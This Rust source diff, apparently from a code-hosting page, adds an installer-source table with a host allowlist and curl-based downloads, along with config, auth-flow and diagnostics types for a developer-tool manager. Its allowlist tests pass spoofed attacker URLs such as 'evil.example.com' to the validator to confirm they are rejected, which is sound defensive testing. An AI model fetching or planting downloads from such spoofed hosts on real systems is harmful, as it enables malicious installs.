//! 只做「下载官方安装包 → 打开安装向导」,不静默安装;应用本身不提权。
|
||||
//! 下载失败或来源不可直接安装时,兜底提供「打开官方下载页」。
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// 单个运行时的官方安装来源。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct RuntimeSource {
|
||||
/// 运行时 id(node / python / git / winget / uv)
|
||||
pub runtime: String,
|
||||
/// 中文名(Node.js / Python / Git / winget / uv)
|
||||
pub label_zh: String,
|
||||
/// 官方直接安装包/脚本地址(可被直接下载)
|
||||
pub download_url: Option<String>,
|
||||
/// 官方下载页(兜底打开)
|
||||
pub download_page: String,
|
||||
/// 大概体积(人话)
|
||||
pub size_approx: String,
|
||||
/// 是否需要管理员权限
|
||||
pub elevate_needed: bool,
|
||||
/// 允许的下载主机(白名单)
|
||||
pub allowed_hosts: Vec<String>,
|
||||
/// 是否可直接下载安装包(false 则只提供「打开官方下载页」)
|
||||
pub direct_installable: bool,
|
||||
/// 来源说明(展示给用户)
|
||||
pub source_label: String,
|
||||
}
|
||||
|
||||
/// 内置运行时来源表(仅官方渠道)。
|
||||
fn table() -> Vec<RuntimeSource> {
|
||||
vec![
|
||||
RuntimeSource {
|
||||
runtime: "node".into(),
|
||||
label_zh: "Node.js".into(),
|
||||
download_url: Some("https://nodejs.org/dist/v22.14.0/node-v22.14.0-x64.msi".into()),
|
||||
download_page: "https://nodejs.org/en/download".into(),
|
||||
size_approx: "约 31 MB".into(),
|
||||
elevate_needed: true,
|
||||
allowed_hosts: vec!["nodejs.org".into()],
|
||||
direct_installable: true,
|
||||
source_label: "Node.js 官方(nodejs.org)".into(),
|
||||
},
|
||||
RuntimeSource {
|
||||
runtime: "python".into(),
|
||||
label_zh: "Python".into(),
|
||||
download_url: Some("https://www.python.org/ftp/python/3.12.10/python-3.12.10-amd64.exe".into()),
|
||||
download_page: "https://www.python.org/downloads/".into(),
|
||||
size_approx: "约 27 MB".into(),
|
||||
elevate_needed: false,
|
||||
allowed_hosts: vec!["python.org".into(), "www.python.org".into()],
|
||||
direct_installable: true,
|
||||
source_label: "Python 官方(python.org)".into(),
|
||||
},
|
||||
RuntimeSource {
|
||||
runtime: "git".into(),
|
||||
label_zh: "Git".into(),
|
||||
download_url: Some(
|
||||
"https://github.com/git-for-windows/git/releases/download/v2.47.1.windows.2/Git-2.47.1.2-64-bit.exe".into(),
|
||||
),
|
||||
download_page: "https://git-scm.com/download/win".into(),
|
||||
size_approx: "约 64 MB".into(),
|
||||
elevate_needed: false,
|
||||
allowed_hosts: vec!["github.com".into(), "git-scm.com".into()],
|
||||
direct_installable: true,
|
||||
source_label: "Git for Windows 官方(git-scm.com)".into(),
|
||||
},
|
||||
RuntimeSource {
|
||||
runtime: "winget".into(),
|
||||
label_zh: "winget".into(),
|
||||
download_url: Some("https://aka.ms/getwinget".into()),
|
||||
download_page: "https://learn.microsoft.com/windows/package-manager/winget/".into(),
|
||||
size_approx: "约 60 MB(App 安装程序)".into(),
|
||||
elevate_needed: false,
|
||||
allowed_hosts: vec!["aka.ms".into(), "microsoft.com".into(), "learn.microsoft.com".into()],
|
||||
direct_installable: true,
|
||||
source_label: "微软官方(aka.ms/getwinget)".into(),
|
||||
},
|
||||
RuntimeSource {
|
||||
runtime: "uv".into(),
|
||||
label_zh: "uv".into(),
|
||||
download_url: None,
|
||||
download_page: "https://docs.astral.sh/uv/getting-started/installation/".into(),
|
||||
size_approx: "约 15 MB".into(),
|
||||
elevate_needed: false,
|
||||
allowed_hosts: vec!["astral.sh".into(), "docs.astral.sh".into()],
|
||||
direct_installable: false,
|
||||
source_label: "uv 官方(docs.astral.sh)".into(),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
/// 按 id 取运行时来源。
|
||||
pub fn source_for(runtime: &str) -> Option<RuntimeSource> {
|
||||
table().into_iter().find(|s| s.runtime == runtime)
|
||||
}
|
||||
|
||||
/// 全部受支持的运行时 id(前端「可一键安装」判定用)。
|
||||
pub fn supported_runtimes() -> Vec<String> {
|
||||
table().into_iter().map(|s| s.runtime).collect()
|
||||
}
|
||||
|
||||
/// 判断 URL 的主机是否在白名单内(安全红线:所有下载仅限白名单)。
|
||||
pub fn is_url_host_allowed(url: &str, allowed_hosts: &[String]) -> bool {
|
||||
let host = extract_host(url);
|
||||
match host {
|
||||
Some(h) => allowed_hosts.iter().any(|a| h == *a || h.ends_with(&format!(".{a}"))),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// 用系统 `curl.exe` 下载 URL 到目标文件(HTTPS、跟随重定向、失败即报错)。
|
||||
/// 仅应配合 `is_url_host_allowed` 白名单校验后使用。
|
||||
pub fn download_with_curl(url: &str, dest: &std::path::Path) -> std::io::Result<()> {
|
||||
let mut cmd = std::process::Command::new("curl.exe");
|
||||
cmd.args(["-L", "--fail", "--silent", "--show-error", "-o"]);
|
||||
cmd.arg(dest);
|
||||
cmd.arg(url);
|
||||
#[cfg(windows)]
|
||||
{
|
||||
use std::os::windows::process::CommandExt;
|
||||
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
|
||||
}
|
||||
let status = cmd.status()?;
|
||||
if status.success() {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
"curl 下载失败(网络错误或来源不可用)",
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
/// 用系统 `curl.exe` 拉取 HTTPS 文本到 stdout(用于官方源版本查询 / 测试连通)。
|
||||
/// 仅应配合 `is_url_host_allowed` 白名单校验后使用。`headers` 为额外请求头(如鉴权)。
|
||||
pub fn fetch_http_text(url: &str, headers: &[String]) -> std::io::Result<String> {
|
||||
let mut cmd = std::process::Command::new("curl.exe");
|
||||
cmd.args(["-L", "--fail", "--silent", "--show-error", "--max-time", "20"]);
|
||||
for h in headers {
|
||||
cmd.arg("-H").arg(h);
|
||||
}
|
||||
cmd.arg(url);
|
||||
#[cfg(windows)]
|
||||
{
|
||||
use std::os::windows::process::CommandExt;
|
||||
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
|
||||
}
|
||||
let out = cmd.output()?;
|
||||
if out.status.success() {
|
||||
Ok(String::from_utf8_lossy(&out.stdout).to_string())
|
||||
} else {
|
||||
Err(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
"curl 请求失败(网络错误或来源不可用)",
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
/// 极简 URL 主机提取(仅用于白名单比对,不解析完整 URL)。
|
||||
fn extract_host(url: &str) -> Option<String> {
|
||||
let s = url.trim();
|
||||
let s = s.strip_prefix("https://").or_else(|| s.strip_prefix("http://"))?;
|
||||
let host = s.split(['/', '?', '#']).next()?;
|
||||
let host = host.rsplit('@').next()?; // 剔除可能的 userinfo
|
||||
let host = host.trim().trim_matches('.');
|
||||
let host = if let Some((h, _)) = host.split_once(':') { h } else { host };
|
||||
if host.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(host.to_ascii_lowercase())
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn sources_have_allowed_hosts_and_pages() {
|
||||
for s in table() {
|
||||
assert!(!s.download_page.is_empty());
|
||||
assert!(!s.allowed_hosts.is_empty(), "{} 应有白名单", s.runtime);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn node_source_is_installable() {
|
||||
let node = source_for("node").unwrap();
|
||||
assert!(node.direct_installable);
|
||||
assert_eq!(node.label_zh, "Node.js");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn uv_falls_back_to_page() {
|
||||
let uv = source_for("uv").unwrap();
|
||||
assert!(!uv.direct_installable);
|
||||
assert!(uv.download_url.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn host_allowlist_matches_exact_and_subdomain() {
|
||||
assert!(is_url_host_allowed(
|
||||
"https://nodejs.org/dist/v22.14.0/node-v22.14.0-x64.msi",
|
||||
&["nodejs.org".to_string()]
|
||||
));
|
||||
assert!(is_url_host_allowed(
|
||||
"https://www.python.org/ftp/python/3.12.10/python.exe",
|
||||
&["python.org".to_string()]
|
||||
));
|
||||
assert!(!is_url_host_allowed(
|
||||
"https://evil.example.com/node.msi",
|
||||
&["nodejs.org".to_string()]
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn host_allowlist_rejects_non_https_host() {
|
||||
assert!(!is_url_host_allowed("https://nodejs.org.evil.com/x.msi", &["nodejs.org".to_string()]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_host_handles_port_and_path() {
|
||||
assert_eq!(extract_host("https://a.com:8443/x"), Some("a.com".into()));
|
||||
assert_eq!(extract_host("https://a.com/x?y=1"), Some("a.com".into()));
|
||||
assert_eq!(extract_host("not a url"), None);
|
||||
}
|
||||
}
|
||||
@@ -48,6 +48,20 @@ pub struct ConfigFieldState {
|
||||
pub value: Option<String>,
|
||||
/// 密钥库类字段:是否已有值
|
||||
pub has_value: bool,
|
||||
/// 官方文档链接(配置项依据)
|
||||
pub docs_url: Option<String>,
|
||||
/// enum 类型的可选值(value + 中文名)
|
||||
pub options: Vec<ConfigFieldOption>,
|
||||
/// 该字段(keyring 类)对应的环境变量名(如 OPENAI_API_KEY),供界面说明
|
||||
pub env_key: Option<String>,
|
||||
/// 表单分组:auth | common | advanced(未声明按 common)
|
||||
pub group: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ConfigFieldOption {
|
||||
pub value: String,
|
||||
pub label_zh: String,
|
||||
}
|
||||
|
||||
/// 配置文件解析状态。
|
||||
@@ -77,6 +91,18 @@ pub struct ConfigFormState {
|
||||
pub files: Vec<ConfigFileState>,
|
||||
pub fields: Vec<ConfigFieldState>,
|
||||
pub environment: Vec<EnvFieldState>,
|
||||
/// 官方授权方式(授权/登录层引导用)
|
||||
pub auth_modes: Vec<AuthModeInfo>,
|
||||
}
|
||||
|
||||
/// 官方授权方式(授权/登录层展示)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AuthModeInfo {
|
||||
/// browser_oauth | device_code | api_key | local_tui
|
||||
pub mode: String,
|
||||
pub notes_zh: Option<String>,
|
||||
/// 交互式登录命令(浏览器/设备码等;api_key 类常为空)
|
||||
pub command: Vec<String>,
|
||||
}
|
||||
|
||||
/// 写配置结果(writeConfig 返回)。
|
||||
@@ -92,6 +118,20 @@ pub struct WriteResult {
|
||||
pub errors: Vec<String>,
|
||||
}
|
||||
|
||||
/// 配置写入后的「生效检查」结果(verifyConfig 返回)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ConfigVerifyResult {
|
||||
pub cli_id: String,
|
||||
/// 整体是否通过(配置文件可解析即视为「已写入成功」)
|
||||
pub ok: bool,
|
||||
/// 验证层级:cli_accepted | config_parsed | config_parse_failed | not_installed
|
||||
pub level: String,
|
||||
/// 中文结论(如实标注验证到哪一层)
|
||||
pub message_zh: String,
|
||||
/// 脱敏后的补充信息(CLI 版本输出 / 解析错误)
|
||||
pub detail: Option<String>,
|
||||
}
|
||||
|
||||
/// 动作流事件(runAction 流式输出)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ActionEvent {
|
||||
@@ -99,24 +139,148 @@ pub struct ActionEvent {
|
||||
pub kind: String,
|
||||
/// 已脱敏的消息文本
|
||||
pub message: String,
|
||||
/// 当前阶段:prepare | exec | verify(供界面渲染步骤进度)
|
||||
pub phase: Option<String>,
|
||||
pub data: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
impl ActionEvent {
|
||||
pub fn step(msg: impl Into<String>) -> Self {
|
||||
ActionEvent { kind: "step".into(), message: msg.into(), data: None }
|
||||
ActionEvent { kind: "step".into(), message: msg.into(), phase: None, data: None }
|
||||
}
|
||||
pub fn step_phase(phase: &str, msg: impl Into<String>) -> Self {
|
||||
ActionEvent { kind: "step".into(), message: msg.into(), phase: Some(phase.into()), data: None }
|
||||
}
|
||||
pub fn stdout(line: impl Into<String>) -> Self {
|
||||
ActionEvent { kind: "stdout".into(), message: line.into(), data: None }
|
||||
ActionEvent { kind: "stdout".into(), message: line.into(), phase: Some("exec".into()), data: None }
|
||||
}
|
||||
pub fn stderr(line: impl Into<String>) -> Self {
|
||||
ActionEvent { kind: "stderr".into(), message: line.into(), data: None }
|
||||
ActionEvent { kind: "stderr".into(), message: line.into(), phase: Some("exec".into()), data: None }
|
||||
}
|
||||
pub fn done(data: Option<serde_json::Value>) -> Self {
|
||||
ActionEvent { kind: "done".into(), message: String::new(), data }
|
||||
ActionEvent { kind: "done".into(), message: String::new(), phase: Some("verify".into()), data }
|
||||
}
|
||||
pub fn error(msg: impl Into<String>) -> Self {
|
||||
ActionEvent { kind: "error".into(), message: msg.into(), data: None }
|
||||
ActionEvent { kind: "error".into(), message: msg.into(), phase: None, data: None }
|
||||
}
|
||||
/// 携带结构化错误提示(人话化 + code + 缺失运行时)的错误事件。
|
||||
pub fn error_hint(hint: &ErrorHint) -> Self {
|
||||
ActionEvent {
|
||||
kind: "error".into(),
|
||||
message: hint.friendly_zh.clone(),
|
||||
phase: None,
|
||||
data: Some(serde_json::to_value(hint).unwrap_or(serde_json::Value::Null)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// 安装/执行失败的人话化错误提示(errors_zh 映射产出,随 error 事件的 data 回传)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ErrorHint {
|
||||
/// program_not_found | permission_denied | network_timeout | network_dns | disk_full | exec_failed
|
||||
pub code: String,
|
||||
/// 人话版中文建议(默认展示)
|
||||
pub friendly_zh: String,
|
||||
/// 原始错误文本(折叠保留)
|
||||
pub raw: String,
|
||||
/// 缺失的运行时 id(如 node / npm / python / git / winget / uv),供界面一键直达安装
|
||||
pub missing_runtime: Option<String>,
|
||||
}
|
||||
|
||||
/// 授权流程事件(authorize 流式回传)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AuthFlowEvent {
|
||||
pub cli_id: String,
|
||||
pub mode: String,
|
||||
/// started | line | device_code | waiting | done | error | cancelled
|
||||
pub kind: String,
|
||||
/// 已脱敏的说明文本 / 输出行
|
||||
pub message: String,
|
||||
/// 设备码(device_code 模式解析出的 user_code)
|
||||
pub user_code: Option<String>,
|
||||
/// 验证链接(device_code 模式解析出的 verification_url)
|
||||
pub verification_url: Option<String>,
|
||||
/// 终态时是否已授权(done 事件)
|
||||
pub authorized: Option<bool>,
|
||||
}
|
||||
|
||||
impl AuthFlowEvent {
|
||||
pub fn started(cli_id: &str, mode: &str, message: impl Into<String>) -> Self {
|
||||
AuthFlowEvent {
|
||||
cli_id: cli_id.to_string(),
|
||||
mode: mode.to_string(),
|
||||
kind: "started".into(),
|
||||
message: message.into(),
|
||||
user_code: None,
|
||||
verification_url: None,
|
||||
authorized: None,
|
||||
}
|
||||
}
|
||||
pub fn line(cli_id: &str, mode: &str, message: impl Into<String>) -> Self {
|
||||
AuthFlowEvent {
|
||||
cli_id: cli_id.to_string(),
|
||||
mode: mode.to_string(),
|
||||
kind: "line".into(),
|
||||
message: message.into(),
|
||||
user_code: None,
|
||||
verification_url: None,
|
||||
authorized: None,
|
||||
}
|
||||
}
|
||||
pub fn device_code(cli_id: &str, mode: &str, user_code: String, verification_url: String) -> Self {
|
||||
AuthFlowEvent {
|
||||
cli_id: cli_id.to_string(),
|
||||
mode: mode.to_string(),
|
||||
kind: "device_code".into(),
|
||||
message: "请在浏览器打开验证链接并输入设备码".into(),
|
||||
user_code: Some(user_code),
|
||||
verification_url: Some(verification_url),
|
||||
authorized: None,
|
||||
}
|
||||
}
|
||||
pub fn waiting(cli_id: &str, mode: &str, message: impl Into<String>) -> Self {
|
||||
AuthFlowEvent {
|
||||
cli_id: cli_id.to_string(),
|
||||
mode: mode.to_string(),
|
||||
kind: "waiting".into(),
|
||||
message: message.into(),
|
||||
user_code: None,
|
||||
verification_url: None,
|
||||
authorized: None,
|
||||
}
|
||||
}
|
||||
pub fn done(cli_id: &str, mode: &str, authorized: bool) -> Self {
|
||||
AuthFlowEvent {
|
||||
cli_id: cli_id.to_string(),
|
||||
mode: mode.to_string(),
|
||||
kind: "done".into(),
|
||||
message: if authorized { "授权完成".into() } else { "授权流程结束,未检测到登录".into() },
|
||||
user_code: None,
|
||||
verification_url: None,
|
||||
authorized: Some(authorized),
|
||||
}
|
||||
}
|
||||
pub fn error(cli_id: &str, mode: &str, message: impl Into<String>) -> Self {
|
||||
AuthFlowEvent {
|
||||
cli_id: cli_id.to_string(),
|
||||
mode: mode.to_string(),
|
||||
kind: "error".into(),
|
||||
message: message.into(),
|
||||
user_code: None,
|
||||
verification_url: None,
|
||||
authorized: None,
|
||||
}
|
||||
}
|
||||
pub fn cancelled(cli_id: &str, mode: &str) -> Self {
|
||||
AuthFlowEvent {
|
||||
cli_id: cli_id.to_string(),
|
||||
mode: mode.to_string(),
|
||||
kind: "cancelled".into(),
|
||||
message: "已取消授权流程".into(),
|
||||
user_code: None,
|
||||
verification_url: None,
|
||||
authorized: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -127,3 +291,76 @@ pub fn now_secs() -> u64 {
|
||||
.map(|d| d.as_secs())
|
||||
.unwrap_or(0)
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Wave 3.1:可更新判定 / 模型列表 / 测试连通 / 系统环境诊断
|
||||
// =====================================================================
|
||||
|
||||
/// 「可更新」判定结果(官方源最新版本 vs 本地已装版本 semver 对比)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct UpdateCheckResult {
|
||||
pub cli_id: String,
|
||||
/// 本地已装版本(未安装为 None)
|
||||
pub current: Option<String>,
|
||||
/// 官方源最新版本(查询失败为 None)
|
||||
pub latest: Option<String>,
|
||||
/// 是否可更新(本地版本 < 官方最新版本)
|
||||
pub update_available: bool,
|
||||
/// 依据来源(中文,如「npm registry」)
|
||||
pub source_zh: String,
|
||||
/// 依据来源链接
|
||||
pub source_url: String,
|
||||
/// 查询失败原因(成功为 None)
|
||||
pub error: Option<String>,
|
||||
}
|
||||
|
||||
/// 模型信息(id + 中文名)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ModelInfo {
|
||||
pub id: String,
|
||||
pub label_zh: Option<String>,
|
||||
}
|
||||
|
||||
/// 模型列表结果(来源:CLI 自带列举命令或适配器维护清单)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ModelListResult {
|
||||
pub cli_id: String,
|
||||
pub models: Vec<ModelInfo>,
|
||||
/// cli_command | adapter | empty
|
||||
pub source: String,
|
||||
pub detail_zh: String,
|
||||
}
|
||||
|
||||
/// 「测试连通」结果(已授权工具直连官方接口测一次)。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ConnectionTestResult {
|
||||
pub cli_id: String,
|
||||
pub ok: bool,
|
||||
pub message_zh: String,
|
||||
pub http_status: Option<u16>,
|
||||
/// 脱敏后的补充信息(不含密钥明文)
|
||||
pub detail: Option<String>,
|
||||
}
|
||||
|
||||
/// 系统环境诊断:单个环境依赖项的状态及其影响的 CLI。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SystemEnvFinding {
|
||||
/// 依赖 id:node / npm / python / uv / git / winget / apt
|
||||
pub runtime_id: String,
|
||||
/// 中文名(Node.js / Python / Git / uv / winget / apt)
|
||||
pub label_zh: String,
|
||||
/// installed | not_installed | not_in_path | below_min
|
||||
pub status: String,
|
||||
/// 当前版本(可为 None)
|
||||
pub version: Option<String>,
|
||||
/// 该依赖缺失/版本过低时受影响的 CLI id 列表
|
||||
pub affected_cli: Vec<String>,
|
||||
/// 中文结论
|
||||
pub message_zh: String,
|
||||
}
|
||||
|
||||
/// 系统环境诊断报告。
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SystemEnvReport {
|
||||
pub findings: Vec<SystemEnvFinding>,
|
||||
}
|
||||
|
||||
@@ -91,3 +91,26 @@ impl SecretStore for KeyringSecretStore {
|
||||
platform::delete(service, account)
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// 真机密钥库往返(Windows Credential Manager):写假 key → 读回一致 → 删除清理。
|
||||
/// 运行:cargo test -p agentdock-secrets real_machine_keyring_roundtrip -- --ignored --nocapture
|
||||
#[test]
|
||||
#[ignore]
|
||||
fn real_machine_keyring_roundtrip() {
|
||||
let store = KeyringSecretStore::new();
|
||||
let service = "agentdock.selftest";
|
||||
let account = "api_key";
|
||||
let fake = "sk-test-selftest-only";
|
||||
|
||||
store.set(service, account, fake).expect("写 Credential Manager 应成功");
|
||||
assert!(store.has(service, account), "写后应可读到");
|
||||
assert_eq!(store.get(service, account).unwrap(), fake, "读回应一致");
|
||||
store.delete(service, account).expect("删除应成功");
|
||||
assert!(!store.has(service, account), "删除后应不存在");
|
||||
println!("真机密钥库往返通过(Windows Credential Manager,假 key 已清理)");
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user